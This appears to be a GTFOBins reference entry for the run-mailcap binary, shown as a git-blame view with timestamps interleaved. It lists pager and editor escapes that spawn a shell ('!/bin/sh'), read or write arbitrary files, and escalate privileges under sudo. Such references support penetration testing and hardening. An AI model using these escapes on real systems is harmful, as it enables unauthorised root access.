2018-11-12 17:12:36 +01:00
|
|
|
---
|
|
|
|
functions:
|
2018-11-19 14:04:01 +01:00
|
|
|
shell:
|
|
|
|
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
|
|
|
|
code: |
|
|
|
|
run-mailcap --action=view /etc/hosts
|
|
|
|
!/bin/sh
|
|
|
|
file-read:
|
|
|
|
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
|
|
|
|
code: run-mailcap --action=view file_to_read
|
|
|
|
file-write:
|
|
|
|
- description: |
|
|
|
|
The file must exist and be not empty.
|
|
|
|
|
|
|
|
This invokes the default editor, which is likely to be [`vi`](/gtfobins/vi/), other functions may apply.
|
|
|
|
code: run-mailcap --action=edit file_to_read
|
2018-11-12 17:12:36 +01:00
|
|
|
sudo:
|
2018-11-19 14:04:01 +01:00
|
|
|
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
|
|
|
|
code: |
|
|
|
|
sudo run-mailcap --action=view /etc/hosts
|
|
|
|
!/bin/sh
|
2018-11-12 17:12:36 +01:00
|
|
|
---
|